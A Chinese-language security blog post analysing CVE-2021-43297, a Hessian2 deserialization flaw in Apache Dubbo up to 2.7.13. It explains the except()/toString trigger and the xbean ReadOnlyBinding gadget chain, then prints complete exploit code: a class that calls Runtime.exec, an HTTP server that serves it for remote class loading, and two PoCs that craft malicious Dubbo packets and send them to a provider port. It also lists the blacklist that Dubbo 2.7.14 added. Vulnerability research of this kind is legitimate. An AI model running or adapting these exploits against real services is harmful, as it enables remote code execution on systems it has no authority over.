您的位置:首页 > 运维架构 > Apache

通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE

2022-01-20 23:05 2226 查看

目录
  • 2 构造poc
  • 3 poc
  • 4 总结
  • 5 Dubbo<=2.7.13可用的POC
  • 6 再次总结
  • 0 前言

    1月15号看到dubbo的CVE-2021-43297通报,收集了一下各种说明,只在阿里云的通报中发现了一点提示信息https://help.aliyun.com/document_detail/390205.html

    没有找到相关的poc和原理分析,毕业论文实在写不下去了,所以想找点乐子,决定搞清楚具体怎么触发的该漏洞

    1 找源头

    1.1 找到触发点

    根据阿里云通报的提示,翻了一下apache-dubbo的github,没有发现有价值的commit,但通报里写到是hessian-lite有问题,所以继续找到hessian-lite的github,终于发现了有用的commit。这个commit注释写明删除了toString调用,看一下源代码

    删除的代码中,因为使用了字符串拼接,所以obj对象会自动调用其toString方法,感觉来了啊:)

    先直接给一个结论,这个CVE恐怕主要还是从Hessian2Input.except()->obj.toString触发的,其它也可以触发obj.toString()的地方,例如AbstractMapDeserializer#readObject()、AbstractListDeserializer#readObject()、AbstractDeserializer.readObject()、AbstractDeserializer#readMap()和JavaDeserializer#logDeserializeError()并不好构造poc触发。各种AbstractxxDeserializer的方法都被下面的子类方法覆盖了并不会被调用;而JavaDeserializer#logDeserializeError()是执行value.toString,但反序列化value时调用的是readObject(expectClass),会比较反序列化的类与期望类是否相同,如果插入恶意字节流,则会报错IOexception,不会执行到value.toString。

    1.2 可用的gadget

    由于之前搞过dubbo的反序列化,所以对toString方法开始触发的的gadget还是有记忆。

    第一种:JsonObject.toString

    https://www.cnblogs.com/bitterz/p/15588955.html

    dubbo<=2.7.3时,由于其自带fastjson<=1.2.46版本 ad8 ,所以可以用JsonObject包裹一个TemplatesImpl对象,该TemplatesImpl的_bytecodes属性携带恶意字节码,在恶意字节码实例化的过程中实现RCE。但是有版本限制,所以暂时不深入研究。

    第二种:ToStringBean.toString

    其实是remo调用链的截断,这个调用链可以看我的博客,或者三梦师傅的github

    原理是用ToStringBean对象包裹一个JdbcRowSetImpl对象,在调用ToStringBean.toString方法时,会调用其所包裹的JdbcRowSetImpl对象的所有getter方法,从而利用JNDI实现RCE。写了一下poc没有成功。

    第三种:AspectJPointcutAdvisor.toString

    其实是SpringAbstractBeanFactoryPointcutAdvisor调用链的截断,调用链过长就不详细说了。

    第四种:ReadOnlyBinding.toString

    其实是XBean调用链的截断,截断后的调用链如下,其实就是利用其toString方法往下调用时会用到NamingManager,在NamingManager中会去指定地址下载恶意class文件,并实例化,最终造成RCE。

    at java.lang.Class.newInstance(Class.java:442)
    at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
    at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
    at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
    at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
    at javax.naming.Binding.toString(Binding.java:192)

    其它可能的方法,比如CC链中的TiedMapEntry之类的就没有深究了,精力有限。

    1.3 向上推触发点

    最终选用ReadOnlyBinding.toString这个链(短一点,比较简单),前面找到了可用的gadget,那么obj.toString方法如何才能到达呢,首先找到

    com.alibaba.com.caucho.hessian.io.Hessian2Input
    发现obj拼接在except方法中

    并且在执行obj.toString方法 56c 前,obj是由Hessian2Input#readObject方法反序列化出来的,那么可以思考,如果这里反序列化出来的是恶意ReadOnlyBinding对象,RCE就达成了。借助IDEA继续往前推except会在哪里调用

    实际上还是Hessian2Input这个类中,跟进一下具体的方法,以readBoolean为例

    public boolean readBoolean()
    throws IOException {
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    
    switch (tag) {
    case 'T':
    return true;
    case 'F':
    return false;
    case 0x80:
    case 0x81:
    // 省略了其它case
    case 'N':
    return false;
    default:
    throw expect("boolean", tag);

    可见,hessian2协议在反序列化布尔值时,通过一个给定的tag进行判断,当tag没有对应值时,会进入default,从而调用except方法。

    到这里也就清晰了,我们可以使用hessian2对某个对象进行序列化,得到一段byte数组,修改数组中某个布尔值属性所对应的tag,即可在反序列化布尔值时找不到对应的tag,然后进入default,也就是进入e ad0 xcept方法,再调用obj.toString()从而实现RCE。

    2 构造poc

    2.1 开启HttpServer

    使用ReadOnlyBinding.toString这个链实现RCE,要求开一个http服务器用于下载恶意class文件,借用一下三梦师傅的代码,并把其中的

    new File(filePath)
    处的filePath改成我的恶意class文级路径。

    2.2 hessian2序列化过程简述

    由于涉及到修改序列化后的数据,所以必须要对序列化过程有一定的掌握(踩过坑,试过不看代码直接修改byte数组,非常困难且容易出错)

    在dubbo中有很多序列化协议,例如fastjson、hessian2和gson等,其中hessian2被设置为默认的反序列化协议。在hessian2序列化的过程中,它会根据不同的类选择不同的序列化器,在处理某个类的不同属性时,又会根据其类型选择序列化器,如此迭代,最终完成序列化。

    示例代码

    // 创建ReadOnlyBinding对象
    Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
    Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
    ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
    
    // 接收序列化后的字节流
    ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
    // 创建hessian2序列化工具
    Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
    // 序列化binding对象
    out.writeObject(binding);

    跟进Hessian2Output#writeObject方法看看

    • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject
    public void writeObject(Object object) throws IOException
    {
    if (object == null) {
    writeNull();
    return;
    }
    Serializer serializer = findSerializerFactory().getObjectSerializer(object.getClass());
    serializer.writeObject(object, this);
    }

    可以看到,直接从序列化器工厂根据对象类型获取相应的序列化器。调试后发现序列化binding对象时使用的是JavaSerializer#writeObject

    • com.alibaba.com.caucho.hessian.io.JavaSerializer#writeObject
    public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {
    // 省略了一点代码
    
    3ba4
    
    Class<?> cl = obj.getClass();
    int ref = out.writeObjectBegin(cl.getName());  // 根据对象类型写入tag,即前面readBoolean方法里的tag
    
    if (ref < -1) {
    // 省略
    } else {
    if (ref == -1) {  // 序列化binding时进入这里,重点关注这里
    writeDefinition20(out);  // 写入field名字
    out.writeObjectBegin(cl.getName());  //
    }
    
    writeInstance(obj, out);
    }
    }

    这里主要是会调用三个方法:

    • writeObjectBegin,根据类型写入tag头,在反序列化时,对应的反序列化器(deserializer)会调用反序列化方法(即readBoolean、readString、readInt等),并根据tag直接恢复值(true、false等)或者再次计算后恢复值
    • writeDefinition20,遍历_fields数组,写入属性的名字
    class JavaSerializer{
    private void writeDefinition20(AbstractHessianOutput out) throws IOException {
    out.writeClassFieldLength(_fields.length);  // 对象属性个数
    
    for (int i = 0; i < _fields.length; i++) {
    Field field = _fields[i];
    
    out.writeString(field.getName());
    }
    }
    }
    • writeInstance,遍历属性数组,写入每个属性对应的实例对象
    class JavaSerializer{
    public void writeInstance(Object obj, AbstractHessianOutput out)
    throws IOException {
    for (int i = 0; i < _fields.length; i++) {
    Field field = _fields[i];
    
    _fieldSerializers[i].serialize(out, obj, field);
    }
    }
    }

    其中_fields和_fieldSerializers如下

    序列化器遍历属性,并写入字节流,由于字节流转成java中的String显示有些问题,所以将字节流转换十六进制放到winhex中结果如下:

    可见其顺序和属性数组中的顺序一致,而isRelative属性的值时false,在十六进制中用46表示,十进制70,正好是F的ascii。这里我是把其中的fullName属性设置为"<<<<<"来定位的。

    我们可以假想,现在整个字节流就是binding对象,只要调用binding对象的toString方法即可完成RCE,结合前面1.3说到的,如果我们把字节流替换到上图指定的F处,是不是就可以在反序列化过程中,执行readBoolean方法时进入except中呢?确实是的,不过完整的poc还需要组装一下dubbo数据包头部

    3 poc

    • 测试环境

    dubbo pom.xml

    <dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-common</artifactId>
    <version>2.7.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-dependencies-zookeeper</artifactId>
    <version>2.7.14</version>
    <type>pom</type>
    </dependency>
    <dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.15</version>
    </dependency>

    IDEA项目 pom.xml

    <dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.3</version>
    </dependency>
    <dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.51</version>
    </dependency>
    <dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-common</artifactId>
    <version>2.7.3</version>
    </dependency>
    <dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.15</version>
    </dependency>
    <dependency>

    zookeeper 3.3

    dubbo+zookeeper环境搭建就不重复写了,可见https://www.cnblogs.com/bitterz/p/15526206.html 中的2.3节

    • 恶意类

    需要编译成class

    import java.io.IOException;
    public class ExecTest {
    public ExecTest() throws IOException {
    new java.io.IOException().printStackTrace();
    java.lang.Runtime.getRuntime().exec("calc");
    }
    }
    • 启动HttpServer

    需要修改一下代码,在new File()中指定恶意class文件

    import com.google.common.io.Files;
    import com.sun.net.httpserver.Headers;
    import com.sun.net.httpserver.HttpExchange;
    import com.sun.net.httpserver.HttpHandler;
    import com.sun.net.httpserver.HttpServer;
    import com.sun.net.httpserver.spi.HttpServerProvider;
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.OutputStream;
    import java.net.InetSocketAddress;
    import java.util.Iterator;
    import java.util.List;
    import java.util.Set;
    import org.apache.commons.lang3.StringUtils;
    
    /**
    * 解析http协议,输出http请求体
    *
    * @author xuanyh
    */
    public class HTTPServer {
    
    public static String filePath;
    public static int PORT = 8080;
    public static String contentType;
    
    public static void main(String[] args) throws IOException {
    run(args);
    }
    
    public static void run(String[] args) {
    int port = PORT;
    String context = "/";
    String clazz = "Calc.class";
    if (args != null && args.length > 0) {
    port = Integer.parseInt(args[0]);
    context = args[1];
    clazz = args[2];
    }
    HttpServerProvider provider = HttpServerProvider.provider();
    HttpServer httpserver = null;
    try {
    httpserver = provider.createHttpServer(new InetSocketAddress(port), 100);
    } catch (IOException e) {
    e.printStackTrace();
    }
    //监听端口8080,
    
    httpserver.createContext(context, new RestGetHandler(clazz));
    httpserver.setExecutor(null);
    httpserver.start();
    System.out.println("server started");
    }
    
    static class RestGetHandler implements HttpHandler {
    
    private String clazz;
    
    public RestGetHandler(String clazz) {
    this.clazz = clazz;
    }
    
    @Override
    public void handle(HttpExchange he) throws IOException {
    String requestMethod = he.getRequestMethod();
    System.out.println(requestMethod + " " + he.getRequestURI().getPath() + (
    StringUtils.isEmpty(he.getRequestURI().getRawQuery()) ? ""
    : "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol());
    if (requestMethod.equalsIgnoreCase("GET")) {
    Headers responseHeaders = he.getResponseHeaders();
    responseHeaders.set("Content-Type", contentType == null ? "application/json" : contentType);
    
    he.sendResponseHeaders(200, 0);
    // parse request
    OutputStream responseBody = he.getResponseBody();
    Headers requestHeaders = he.getRequestHeaders();
    Set<String> keySet = requestHeaders.keySet();
    Iterator<String> iter = keySet.iterator();
    
    while (iter.hasNext()) {
    String key = iter.next();
    List values = requestHeaders.get(key);
    String s = key + ": " + values.toString();
    System.out.println(s);
    }
    System.out.println();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(he.getRequestBody()));
    StringBuilder stringBuilder = new StringBuilder();
    String line;
    for (;(line = bufferedReader.readLine()) != null;) {
    stringBuilder.append(line);
    }
    System.out.println(stringBuilder.toString());
    
    byte[] bytes = Files.toByteArray(new File("D:\\xxx\\ExecTest.class"));
    System.out.println(new String(bytes, 0, bytes.length));
    // send response
    responseBody.write(bytes);
    responseBody.close();
    }
    }
    }
    }
    • CVE-2021-43297 poc
    package com.bitterz.dubbo;
    
    import com.alibaba.com.caucho.hessian.io.Hessian2Output;
    import org.apache.dubbo.common.io.Bytes;
    import org.apache.xbean.naming.context.ContextUtil;
    import org.apache.xbean.naming.context.WritableContext;
    import sun.reflect.ReflectionFactory;
    
    import javax.naming.Context;
    import javax.naming.Reference;
    import java.io.ByteArrayOutputStream;
    import java.io.OutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.net.Socket;
    import java.util.HashSet;
    import java.util.Random;
    
    public class HessianLitePocBack {
    
    public static void main(String[] args) throws Exception {
    
    Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
    Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
    ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
    
    //        Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
    //        fullName.setAccessible(true);
    Reflections.setFieldValue(binding, "fullName", "<<<<<");
    //        fullName.set(binding, "<<<<<");  // 方便定位属性值的
    
    //############################################################################################
    // 写入binding
    ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
    Hessian2Output outBinding = new Hessian2Output(binding2bytes);
    outBinding.writeObject(binding);
    outBinding.flushBuffer();
    //############################################################################################
    // binding序列化后的byte数组
    byte[] bindingBytes = binding2bytes.toByteArray();
    
    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
    // 在header中记录 序列化对象 的长度,因为最后一个F被覆盖了,所以要-1
    Bytes.int2bytes(bindingBytes.length*2-1, header, 12);
    
    // 收集header+binding
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(bindingBytes);
    byte[] bytes = byteArrayOutputStream.toByteArray();
    
    //############################################################################################
    // 组装payload = header+binding+binding
    byte[] payload = new byte[bytes.length + bindingBytes.length -1];
    for (int i = 0; i < bytes.length; i++) {
    payload[i] = bytes[i];
    }
    
    for (int i = 0; i < bindingBytes.length; i++) {
    payload[i + bytes.length-1] = bindingBytes[i];
    }
    //############################################################################################
    
    // 输出字节流的十六进制
    for (int i = 0; i < payload.length; i++) {
    System.out.print(String.format("%02X", payload[i]) + " ");
    if ((i + 1) % 8 == 0)
    System.out.print(" ");
    if ((i + 1) % 16 == 0 )
    System.out.println();
    }
    System.out.println();
    // 输出byte数组转String
    System.out.println(new String(payload,0,payload.length));
    
    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(payload);
    outputStream.flush();
    outputStream.close();
    System.out.println("\nsend!!");
    }
    
    public static class Reflections{
    public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
    Field field=null;
    Class cl = obj.getClass();
    while (cl != Object.class){
    try{
    field = cl.getDeclaredField(fieldName);
    if(field!=null){
    break;}
    }
    catch (Exception e){
    cl = cl.getSuperclass();
    }
    }
    if (field==null){
    System.out.println(obj.getClass().getName());
    System.out.println(fieldName);
    }
    field.setAccessible(true);
    field.set(obj,fieldValue);
    }
    
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    objCons.setAccessible(true);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    sc.setAccessible(true);
    return (T) sc.newInstance(consArgs);
    }
    }
    }

    执行后效果如下

    4 总结

    • poc经测试后发现,只在apache dubbo<=2.7.8生效,高 ad0 版本dubbo做了反序列化验证,如果又其它可用payload或许可用达到apache dubbo<=2.7.14。
    • 另外其它从toString调用的gadget没有测试过,或许也可用。
    • 由于dubbo的hessian2反序列化过程比较复杂,所以分析较少,但只需要知道每种类型对应不同的read方法即可也可理解(boolean->readBoolean()、int->readInt() )

    最后想说,根据漏洞描述直接复现漏洞还是有难度,即使是知道触发点的情况下还是踩了很多坑,最开始在JavaDeserializer.logDeserializeError这里被坑了很久,然后是手动修改byte数组被坑了,最后还是Hessian2Output.writeObject源码跟了一下才构建好完整的poc。

    以上内容首发于先知社区,后面又研究了一下,发现了可以达到apache dubbo<=2.7.13的poc

    5 Dubbo<=2.7.13可用的POC

    5.1 原理分析

    前面的POC在Dubbo>=2.7.9就失效了,原因在于前面的POC会执行到

    org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody
    方法,在该方法中又进一步会执行到下图这里

    跟进该方法

    • org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeEventData

    可见bytes数组长度必须<50,显然会抛出错误,所以第3节中的poc只能打到2.7.8。

    但是我们把目光回到

    org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody

    protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);  // SERIALIZATION_MASK = 31
    // get request id.
    long id = Bytes.bytes2long(header, 4);
    if ((flag & FLAG_REQUEST) == 0) {  // FLAG_REQUEST = -128
    // decode response.
    Response res = new Response(id);
    if ((flag & FLAG_EVENT) != 0) {  // FLAG_EVENT = 32
    res.setEvent(true);
    }
    // get status.
    byte status = header[3];
    res.setStatus(status);
    try {
    if (status == Response.OK) {  // Response.OK = 20
    // 省略
    } else {
    // 重点在下面两行
    ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
    res.setErrorMessage(in.readUTF());}
    } catch
    ad8
    (Throwable t) {
    // 省略
    }
    return res;
    } else {
    // 省略
    }
    }
    • 首先通过计算可知,当flag <= 0x20时,proto = flag & SERIALIZATION_MASK = flag,即 0x1f & 31 = 31, 0x02 & 31 = 2

    • 再通过计算可知,当flag >= 0x80时,flag & FLAG_REQUEST = 128;当flag<=0x7f时,flag & FLAG_REQUEST = 0

    • 继续通过计算可知,当flag >= 0x20时,flag & FLAG_EVENT = 0;当flag <= 0x1f时,flag & FLAG_EVENT = 0

    由于

    flag=header[2]
    ,而header正是我们前poc中的hader,也就是说,我们可以控制flag的值!那么当flag被设置为小于等于0x1f时,就会执行到代码注释中的重点两行

    ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
    res.setErrorMessage(in.readUTF());

    第一行看样子时根据proto选择反序列化协议,第二行中调用了readUTF方法进行反序列化。

    首先跟进第一行,来到

    org.apache.dubbo.remoting.transport.CodecSupport#deserialiaze
    方法中,这里proto=31=0x1f

    继续跟进,来到

    org.apache.dubbo.remoting.transport.CodecSupport#getSerialization
    方法中

    继续跟进,来到

    org.apache.dubbo.remoting.transport.CodecSupport#getserializationById
    方法中

    调试模式下可以直接看到,Hessian2协议的id=2,即0x02,结合前面的三条规则,0x02<0x1f。

    回到前面的代码中

    ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
    res.setErrorMessage(in.readUTF());

    将flag设置为2后,会正确创建hessian2ObjectInput对象。继续向下执行会首先执行in.readUTF(),调试跟进该调用,结果如下

    调试可见mH2i就是一个Hessian2Input对象,跟进readString方法

    这时来到了前面解释过的except处理节奏了

    5.2 可RCE到2.7.13的POC

    package com.bitterz.dubbo;
    
    import com.alibaba.com.caucho.hessian.io.Hessian2Output;
    import org.apache.dubbo.common.io.Bytes;
    import org.apache.xbean.naming.context.ContextUtil;
    import org.apache.xbean.naming.context.WritableContext;
    import sun.reflect.ReflectionFactory;
    
    import javax.naming.Context;
    import javax.naming.Reference;
    import java.io.ByteArrayOutputStream;
    import java.io.OutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.net.Socket;
    import java.util.HashSet;
    import java.util.Random;
    public class HessianLitePoc {
    
    public static void main(String[] args) throws Exception {
    
    Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
    Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
    ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
    
    //        Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
    //        fullName.setAccessible(true);
    Reflections.setFieldValue(binding, "fullName", "<<<<<");
    //        fullName.set(binding, "<<<<<");  // 方便定位属性值的
    
    byte [] heder2 = new byte[]{-38, -69, -30, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 1};
    //############################################################################################
    // 写入binding
    ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
    Hessian2Output outBinding = new Hessian2Output(binding2bytes);
    outBinding.writeObject(binding);
    outBinding.flushBuffer();
    //############################################################################################
    // binding序列化后的byte数组
    byte[] bindingBytes = binding2bytes.toByteArray();
    
    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
    // 在header中记录 序列化对象 的长度,因为最后一个F被覆盖了,所以要-1
    Bytes.int2bytes(bindingBytes.length*2-1, header, 12);
    
    // 收集header+binding
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.w
    2b60
    rite(header);
    byteArrayOutputStream.write(bindingBytes);
    byte[] bytes = byteArrayOutputStream.toByteArray();
    
    //############################################################################################
    // 组装payload = header+binding+binding
    byte[] payload = new byte[bytes.length + bindingBytes.length -1];
    for (int i = 0; i < bytes.length; i++) {
    payload[i] = bytes[i];
    }
    
    for (int i = 0; i < bindingBytes.length; i++) {
    payload[i + bytes.length-1] = bindingBytes[i];
    }
    //############################################################################################
    
    // 修改flag的值
    payload[2] = 0x02;
    
    // 输出字节流的十六进制
    for (int i = 0; i < payload.length; i++) {
    System.out.print(String.format("%02X", payload[i]) + " ");
    if ((i + 1) % 8 == 0)
    System.out.print(" ");
    if ((i + 1) % 16 == 0 )
    System.out.println();
    }
    System.out.println();
    // 输出byte数组转String
    System.out.println(new String(payload,0,payload.length));
    //        System.exit(1);
    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(payload);
    outputStream.flush();
    outputStream.close();
    System.out.println("\nsend!!");
    }
    
    public static class Reflections{
    public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
    Field field=null;
    Class cl = obj.getClass();
    while (cl != Object.class){
    try{
    field = cl.getDeclaredField(fieldName);
    if(field!=null){
    break;}
    }
    catch (Exception e){
    cl = cl.getSuperclass();
    }
    }
    if (field==null){
    System.out.println(obj.getClass().getName());
    System.out.println(fieldName);
    }
    field.setAccessible(true);
    field.set(obj,fieldValue);
    }
    
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    objCons.setAccessible(true);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    sc.setAccessible(true);
    return (T) sc.newInstance(consArgs);
    }
    }
    }

    Apache Dubbo=2.7.13,执行结果如下

    Apache Dubbo=2.7.14,执行结果如下

    原因在于,2.7.14版本在

    com.alibaba.com.caucho.hessian.io.ClassFactory
    中添加了黑名单,通过包命和类名过滤将要创建的对象。

    禁止包命如下
    bsh.
    ch.qos.logback.core.db.
    clojure.
    com.alibaba.citrus.springext.support.parser.
    com.alibaba.citrus.springext.util.SpringExtUtil.
    com.alibaba.druid.pool.
    com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
    com.alipay.custrelation.service.model.redress.
    com.alipay.oceanbase.obproxy.druid.pool.
    com.caucho.config.types.
    com.caucho.hessian.test.
    com.caucho.naming.
    com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
    com.ibm.xltxe.rnm1.xtq.bcel.util.
    com.mchange.v2.c3p0.
    com.mysql.jdbc.util.
    com.rometools.rome.feed.
    com.sun.corba.se.impl.
    com.sun.corba.se.spi.orbutil.
    com.sun.jndi.rmi.
    com.sun.jndi.toolkit.
    com.sun.org.apache.bcel.internal.
    com.sun.org.apache.xalan.internal.
    com.sun.rowset.
    com.sun.xml.internal.bind.v2.
    com.taobao.vipserver.commons.collections.functors.
    groovy.lang.
    java.beans.
    java.rmi.server.
    java.security.
    javassist.bytecode.annotation.
    javassist.util.proxy.
    javax.imageio.
    javax.imageio.spi.
    javax.management.
    javax.media.jai.remote.
    javax.naming.
    javax.script.
    javax.sound.sampled.
    javax.xml.transform.
    net.bytebuddy.dynamic.loading.
    oracle.jdbc.connector.
    oracle.jdbc.pool.
    org.apache.aries.transaction.jms.
    org.apache.bcel.util.
    org.apache.carbondata.core.scan.expression.
    org.apache.commons.beanutils.
    org.apache.commons.codec.binary.
    org.apache.commons.collections.functors.
    org.apache.commons.collections4.functors.
    org.apache.commons.configuration.
    org.apache.commons.configuration2.
    org.apache.commons.dbcp.datasources.
    org.apache.commons.dbcp2.datasources.
    org.apache.commons.fileupload.disk.
    org.apache.ibatis.executor.loader.
    org.apache.ibatis.javassist.bytecode.
    org.apache.ibatis.javassist.tools.
    org.apache.ibatis.javassist.util.
    org.apache.ignite.cache.
    org.apache.log.output.db.
    org.apache.log4j.receivers.db.
    org.apache.myfaces.view.facelets.el.
    org.apache.openjpa.ee.
    org.apache.openjpa.ee.
    org.apache.shiro.
    org.apache.tomcat.dbcp.
    org.apache.velocity.runtime.
    org.apache.velocity.
    org.apache.wicket.util.
    org.apache.xalan.xsltc.trax.
    org.apache.xbean.naming.context.
    org.apache.xpath.
    org.apache.zookeeper.
    org.aspectj.apache.bcel.util.
    org.codehaus.groovy.runtime.
    org.datanucleus.store.rdbms.datasource.dbcp.datasources.
    org.eclipse.jetty.util.log.
    org.geotools.filter.
    org.h2.value.
    org.hibernate.tuple.component.
    org.hibernate.type.
    org.jboss.ejb3.
    org.jboss.proxy.ejb.
    org.jboss.resteasy.plugins.server.resourcefactory.
    org.jboss.weld.interceptor.builder.
    org.mockito.internal.creation.cglib.
    org.mortbay.log.
    org.quartz.
    org.springframework.aop.aspectj.
    org.springframework.beans.factory.
    org.springframework.expression.spel.
    org.springframework.jndi.
    org.springframework.orm.
    org.springframework.transaction.
    org.yaml.snakeyaml.tokens.
    pstore.shaded.org.apache.commons.collections.
    sun.rmi.server.
    sun.rmi.transport.
    weblogic.ejb20.internal.
    weblogic.jms.common.
    
    正则匹配
    java\lang\ProcessBuilder
    java\lang\Runtime
    java\util\ServiceLoader
    javassist\tools\web\Viewer
    org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler

    6 再次总结

    所给出的poc 实现RCE需要满足:

    • apache dubbo <= 2.7.13或alibaba dubbo对应版本

    • 知道dubbo provider的ip和端口,且可以访问

    • dubbo provider存在ToStringBean链

    • dubbo provider服务器允许向外HTTP GET请求

    投稿文章后再次研究才发现有所不足,和可以改进的地方,学习和研究还需谨慎呀!
    最后代码放在了我的github仓库

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: